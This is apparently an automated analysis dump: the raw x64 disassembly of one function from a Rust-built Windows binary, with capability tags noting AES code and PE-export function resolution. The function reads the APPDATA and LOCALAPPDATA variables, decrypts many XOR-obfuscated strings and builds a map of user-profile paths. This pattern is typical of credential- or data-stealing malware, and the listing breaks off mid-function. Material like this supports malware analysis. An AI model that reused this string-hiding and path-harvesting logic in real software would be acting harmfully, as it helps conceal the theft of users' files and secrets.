Function at 0x14004ab30
Capabilities:
Encrypt data using aes mixcolumns step
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1bb8
call sym.___chkstk_ms
sub rsp, rax
movdqa xmmword [rsp + 0x1ba0], xmm15
movdqa xmmword [rsp + 0x1b90], xmm14
movdqa xmmword [rsp + 0x1b80], xmm13
movdqa xmmword [rsp + 0x1b70], xmm12
movdqa xmmword [rsp + 0x1b60], xmm11
movdqa xmmword [rsp + 0x1b50], xmm10
movdqa xmmword [rsp + 0x1b40], xmm9
movdqa xmmword [rsp + 0x1b30], xmm8
movdqa xmmword [rsp + 0x1b20], xmm7
movdqa xmmword [rsp + 0x1b10], xmm6
mov r13, rcx
movabs r15, 0x8000000000000000
lea rdx, str.APPDATA
lea rcx, [rsp + 0xe0]
mov r8d, 7
call sym.std::env::_var_os::hfdaca986d527d091
mov rbx, qword [rsp + 0xe0]
cmp rbx, r15
mov qword [rsp + 0xd8], r15
je 0x140055c07
mov rdi, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf0]
cmp byte [rsp + 0xf8], 0
je 0x14004ac3a
test rsi, rsi
sete r12b
je 0x14004acfa
js 0x140055bf3
movzx eax, byte [0x14035b110]
xor ecx, ecx
mov rdx, rsi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14004adb1
mov r14, rax
jmp 0x14004ad0b
test rsi, rsi
je 0x14004ad02
movzx eax, byte [rsp + 0xff]
shl eax, 0x10
movzx ecx, word [rsp + 0xfd]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0xf9]
or rax, rcx
lea rcx, [rdi + rsi]
mov r8, rdi
jmp 0x14004ac8c
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop word [rax + rax]
mov r8, rdx
cmp rdx, rcx
je 0x14004ac05
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x14004ac80
cmp r9b, 0xe0
jb 0x14004ac6f
cmp r9b, 0xed
jne 0x14004accf
cmp rdx, rcx
je 0x14004ac05
lea rdx, [r8 + 2]
cmp rdx, rcx
je 0x14004ac05
cmp byte [r8 + 1], 0x9f
ja 0x140055c59
add r8, 3
mov rdx, r8
jmp 0x14004ac80
add r8, 2
cmp rdx, rcx
cmove r8, rdx
xor edx, edx
cmp r8, rcx
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x14004ac80
xor r8d, r8d
cmp rdx, rcx
setne r8b
add rdx, r8
jmp 0x14004ac80
mov r14d, 1
jmp 0x14004ad0b
mov r14d, 1
mov r12b, 1
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call sym.memcpy
test rbx, rbx
je 0x14004ad2f
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rdi
call fcn.140137fbc
mov qword [rsp + 0x5d0], r14
mov qword [rsp + 0x5d8], rsi
lea rdx, str.LOCALAPPDATA
lea rcx, [rsp + 0xe0]
mov r8d, 0xc
call sym.std::env::_var_os::hfdaca986d527d091
mov rbx, qword [rsp + 0xe0]
cmp rbx, r15
je 0x140055c09
mov rdi, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf0]
cmp byte [rsp + 0xf8], 0
je 0x14004adbe
test rsi, rsi
sete bpl
je 0x14004ae7a
js 0x140055bf3
movzx eax, byte [0x14035b110]
xor ecx, ecx
mov rdx, rsi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
jne 0x14004ae89
mov ecx, 1
mov rdx, rsi
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
test rsi, rsi
je 0x14004ae81
movzx eax, byte [rsp + 0xff]
shl eax, 0x10
movzx ecx, word [rsp + 0xfd]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0xf9]
or rax, rcx
lea rcx, [rdi + rsi]
mov r8, rdi
jmp 0x14004ae0c
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop
mov r8, rdx
cmp rdx, rcx
je 0x14004ad84
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x14004ae00
cmp r9b, 0xe0
jb 0x14004adf3
cmp r9b, 0xed
jne 0x14004ae4f
cmp rdx, rcx
je 0x14004ad84
lea rdx, [r8 + 2]
cmp rdx, rcx
je 0x14004ad84
cmp byte [r8 + 1], 0x9f
ja 0x140055c96
add r8, 3
mov rdx, r8
jmp 0x14004ae00
add r8, 2
cmp rdx, rcx
cmove r8, rdx
xor edx, edx
cmp r8, rcx
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x14004ae00
xor r8d, r8d
cmp rdx, rcx
setne r8b
add rdx, r8
jmp 0x14004ae00
mov eax, 1
jmp 0x14004ae89
mov eax, 1
mov bpl, 1
mov qword [rsp + 0x860], rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sym.memcpy
test rbx, rbx
je 0x14004aeb5
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rdi
call fcn.140137fbc
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0x15c0], rax
mov qword [rsp + 0x15c8], rsi
call sym.std::hash::random::RandomState::new::KEYS::__u7b__u7b_closure_u7d__u7d_::h7ed9e3093fa664eb
test rax, rax
je 0x140055ba3
movdqu xmm0, xmmword [rax]
inc qword [rax]
movups xmm1, xmmword [0x1402c9ad0]
movaps xmmword [rsp + 0x1250], xmm1
movdqu xmm1, xmmword [0x1402c9ac0]
movdqa xmmword [rsp + 0x1240], xmm1
movdqa xmmword [rsp + 0x1260], xmm0
lea rax, [0x1402be9a6]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x282c0681
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h9bd15b29355c28b8
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebx, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
mov byte [rsp + 0x6f], bpl
mov qword [rsp + 0x11f0], r14
shl ebx, 0x10
or edi, ebx
mov ecx, edi
shr ecx, 0x10
xor cl, 0xd6
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0xd4
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xfc
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xdce0500c
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402b9c26]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x8ee9177
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h7a7a68206a1b41ca
movabs rcx, 0x76af53360fc3398f
xor rcx, qword [rax]
movabs rdx, 0x291241da05f27712
xor rdx, qword [rax + 8]
movabs r8, 0x44cfeb21440f188e
xor r8, qword [rax + 0x10]
mov r9d, 0x8cd96974
xor r9d, dword [rax + 0x18]
movzx r10d, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
mov r11d, eax
shr r11d, 8
xor al, 0x6f
xor r11b, 0x88
mov qword [rsp + 0x5e0], rcx
mov qword [rsp + 0x5e8], rdx
mov qword [rsp + 0x5f0], r8
mov dword [rsp + 0x5f8], r9d
mov byte [rsp + 0x5fc], al
mov byte [rsp + 0x5fd], r11b
mov byte [rsp + 0x5fe], r10b
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], 0x1f
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0xbd0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0xbd8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0xbe0], rcx
mov qword [rsp + 0xbe8], rax
lea rbx, [0x1402c1a48]
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rdi, [rsp + 0xbd0]
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 2
lea rsi, [rsp + 0x1888]
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
cmp rax, r15
je 0x14004b188
test rax, rax
je 0x14004b188
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b96ed]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xc8c96cd7
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h0d123a2fd58d71b1
mov r14, qword [rax]
mov esi, dword [rax + 8]
movzx ebp, word [rax + 0xc]
movzx eax, byte [0x14035b110]
mov edx, 0xe
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b85
xor esi, 0xc4f833dd
movabs rcx, 0x7cd0cefa178a752d
xor r14, rcx
mov ecx, ebp
shr ecx, 8
xor cl, 0xa1
xor bpl, 0x1c
mov qword [rax], r14
mov dword [rax + 8], esi
mov byte [rax + 0xc], bpl
mov byte [rax + 0xd], cl
mov qword [rsp + 0x900], 0xe
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xe
lea rax, [0x1402bd96a]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x32347c04
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h42df0a458c0ce3ef
movabs rcx, 0x1cded002a7019a2
xor rcx, qword [rax]
movabs rdx, 0x27c338c431dbd5f6
xor rdx, qword [rax + 8]
movabs r8, 0x92898255ba88d89
xor r8, qword [rax + 0x10]
movabs r9, 0xb5de43d35faa9353
xor r9, qword [rax + 0x18]
mov r10d, 0xc927bd21
xor r10d, dword [rax + 0x20]
movzx eax, byte [rax + 0x24]
xor al, 0x60
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov dword [rsp + 0xbf0], r10d
mov byte [rsp + 0xbf4], al
mov qword [rsp + 0xf90], rdi
mov qword [rsp + 0xf98], 0x25
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rbp, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rbp
mov qword [rsp + 0xf8], 2
lea rsi, [rsp + 0x18a0]
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs r15, 0x8000000000000000
cmp rax, r15
je 0x14004b3cd
test rax, rax
je 0x14004b3cd
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402c1942]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xcc997ea0
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h3b7dd785d5a9c189
mov r14, qword [rax]
movzx esi, byte [rax + 8]
movzx eax, byte [0x14035b110]
mov edx, 9
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055c0e
xor sil, 0xad
movabs rcx, 0x1e95a9da4ae5697f
xor r14, rcx
mov qword [rax], r14
mov byte [rax + 8], sil
mov qword [rsp + 0x900], 9
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 9
lea rax, [0x1402baedb]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x3e257d1b
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h18aa1d544d9c379e
movabs rcx, 0xa673633852702fff
xor rcx, qword [rax]
movabs rdx, 0x3cb8fdf8894c072
xor rdx, qword [rax + 8]
movabs r8, 0xda35c7d8343a8e27
xor r8, qword [rax + 0x10]
movabs r9, 0xd84006823b10215f
xor r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
xor al, 0x8a
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov byte [rsp + 0xbf0], al
mov qword [rsp + 0xf90], rdi
mov qword [rsp + 0xf98], 0x21
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], rbp
mov qword [rsp + 0xf8], 2
lea rsi, [rsp + 0x18b8]
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
cmp rax, r15
je 0x14004b5d7
test rax, rax
je 0x14004b5d7
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402c1b05]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xa5eb0528
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h160bfc15d70912c4
mov r14, qword [rax]
movzx esi, word [rax + 8]
movzx ebp, byte [rax + 0xa]
movzx eax, byte [0x14035b110]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b42
shl ebp, 0x10
or esi, ebp
mov ecx, esi
shr ecx, 0x10
xor cl, 0x51
mov edx, esi
shr edx, 8
xor dl, 0xb
xor sil, 0x2d
movabs r8, 0x70ca4680a9b5136c
xor r14, r8
mov qword [rax], r14
mov byte [rax + 8], sil
mov byte [rax + 9], dl
mov byte [rax + 0xa], cl
mov qword [rsp + 0x900], 0xb
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xb
lea rax, [0x1402b73d4]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xa5e43561
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h66a6c9ae267ffeb4
movabs rcx, 0x30f647d203847366
xor rcx, qword [rax]
movabs rdx, 0xac907d80f9830154
xor rdx, qword [rax + 8]
movabs r8, 0x2e157b03c725ae10
xor r8, qword [rax + 0x10]
movabs r9, 0x23ea0e5fafde2c99
xor r9, qword [rax + 0x18]
movzx eax, word [rax + 0x20]
mov r10d, eax
xor r10b, 0xaf
shr eax, 8
xor al, 0x36
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov byte [rsp + 0xbf0], r10b
mov byte [rsp + 0xbf1], al
mov qword [rsp + 0xf90], rdi
mov qword [rsp + 0xf98], 0x22
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rsi, [rsp + 0x18d0]
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004b824
test rax, rax
je 0x14004b824
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b1f1f]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x839eb90d
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h357270348c9e0bb5
mov esi, dword [rax]
movzx edi, byte [rax + 4]
movzx eax, byte [0x14035b110]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ae9
xor dil, 0xe9
xor esi, 0x42fa50bf
mov byte [rax + 4], dil
mov dword [rax], esi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1402ba74a]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x7d8d7686
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hba14ca33366cbf9f
movabs rcx, 0x2e299f444595d886
xor rcx, qword [rax]
movabs rdx, 0xe9bf7567a5e32524
xor rdx, qword [rax + 8]
movabs r8, 0x4c9948ace5614b2e
xor r8, qword [rax + 0x10]
movabs r9, 0xfc226c71d413b72a
xor r9, qword [rax + 0x18]
movabs r10, 0xd0ef00d4842e8047
xor r10, qword [rax + 0x20]
movabs r11, 0x28d61fb2e468d6e
xor r11, qword [rax + 0x28]
movzx edi, byte [rax + 0x32]
movzx eax, word [rax + 0x30]
mov ebp, eax
shr ebp, 8
xor al, 0xe2
xor bpl, 0x82
xor dil, 0xf8
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov byte [rsp + 0x110], al
mov byte [rsp + 0x111], bpl
mov byte [rsp + 0x112], dil
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x33
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x18e8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004ba8c
test rax, rax
je 0x14004ba8c
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b897b]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xcad34c7d
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h46b502d0addb9ddc
mov rsi, qword [rax]
movzx eax, byte [0x14035b110]
mov edx, 8
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055c1d
movabs rcx, 0x8ca1e95a53d4cf00
xor rsi, rcx
mov qword [rax], rsi
mov qword [rsp + 0x900], 8
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 8
lea rax, [0x1402b4297]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xf3a4507
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h487bc84f498ef15d
movabs rcx, 0x930d67a77871b4d
xor rcx, qword [rax]
movabs rdx, 0xdcff45f16c0c6f25
xor rdx, qword [rax + 8]
movabs r8, 0xf6c2e0b9bc6e85f1
xor r8, qword [rax + 0x10]
movabs r9, 0xa7b9ea1bf0672fb3
xor r9, qword [rax + 0x18]
movabs r10, 0x9a03d26dc5a22ba6
xor r10, qword [rax + 0x20]
movabs r11, 0x3d0c74dde98e4b0a
xor r11, qword [rax + 0x28]
mov edi, 0xc1662fd6
xor edi, dword [rax + 0x30]
movzx eax, word [rax + 0x34]
mov ebp, eax
xor bpl, 0x98
shr eax, 8
xor al, 0x5e
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov dword [rsp + 0x110], edi
mov byte [rsp + 0x114], bpl
mov byte [rsp + 0x115], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x36
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x5e0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rdi, [rsp + 0x1900]
lea rsi, [rsp + 0xbd0]
mov rcx, rdi
mov rdx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004bcf3
test rax, rax
je 0x14004bcf3
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b68b9]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xbb5d1d7d
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h3f78182d3111c10a
mov edi, dword [rax]
movzx ebp, byte [rax + 4]
movzx eax, byte [0x14035b110]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ae9
xor bpl, 0x58
xor edi, 0x7e97d321
mov byte [rax + 4], bpl
mov dword [rax], edi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1402bc4f1]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x242b1460
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hc6fadd76313960dc
movabs rcx, 0xcc8047ace90dac6c
xor rcx, qword [rax]
movabs rdx, 0x6d578b234ac11756
xor rdx, qword [rax + 8]
movabs r8, 0xbb0fd0be1a47027a
xor r8, qword [rax + 0x10]
movabs r9, 0x3ed4a75a621e3672
xor r9, qword [rax + 0x18]
mov r10d, 0xedc9fae5
xor r10d, dword [rax + 0x20]
movzx r11d, byte [rax + 0x26]
movzx eax, word [rax + 0x24]
mov edi, eax
shr edi, 8
xor al, 0x4f
xor dil, 0x46
xor r11b, 0x33
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov dword [rsp + 0xbf0], r10d
mov byte [rsp + 0xbf4], al
mov byte [rsp + 0xbf5], dil
mov byte [rsp + 0xbf6], r11b
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x27
lea r14, [rsp + 0x15c0]
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rdi, [rsp + 0x1918]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004bf3a
test rax, rax
je 0x14004bf3a
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402c11d0]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x1ce55190
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hffafa0ca0004c1db
mov edi, dword [rax]
movzx ebp, byte [rax + 4]
movzx eax, byte [0x14035b110]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ae9
xor bpl, 0x3e
xor edi, 0x5ee53f7b
mov byte [rax + 4], bpl
mov dword [rax], edi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1402c106b]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x71a85d5c
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::ha3160bf69887c9d0
movabs rcx, 0x2d374f33e97c580
xor rcx, qword [rax]
movabs rdx, 0x96101dc6e5e97875
xor rdx, qword [rax + 8]
movabs r8, 0xac10491a20ba7552
xor r8, qword [rax + 0x10]
movabs r9, 0xc2ad56d103582be3
xor r9, qword [rax + 0x18]
mov r10d, 0x669f1faa
xor r10d, dword [rax + 0x20]
movzx r11d, byte [rax + 0x26]
movzx eax, word [rax + 0x24]
mov edi, eax
shr edi, 8
not al
xor dil, 0xbe
xor r11b, 0x29
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov dword [rsp + 0xbf0], r10d
mov byte [rsp + 0xbf4], al
mov byte [rsp + 0xbf5], dil
mov byte [rsp + 0xbf6], r11b
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x27
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
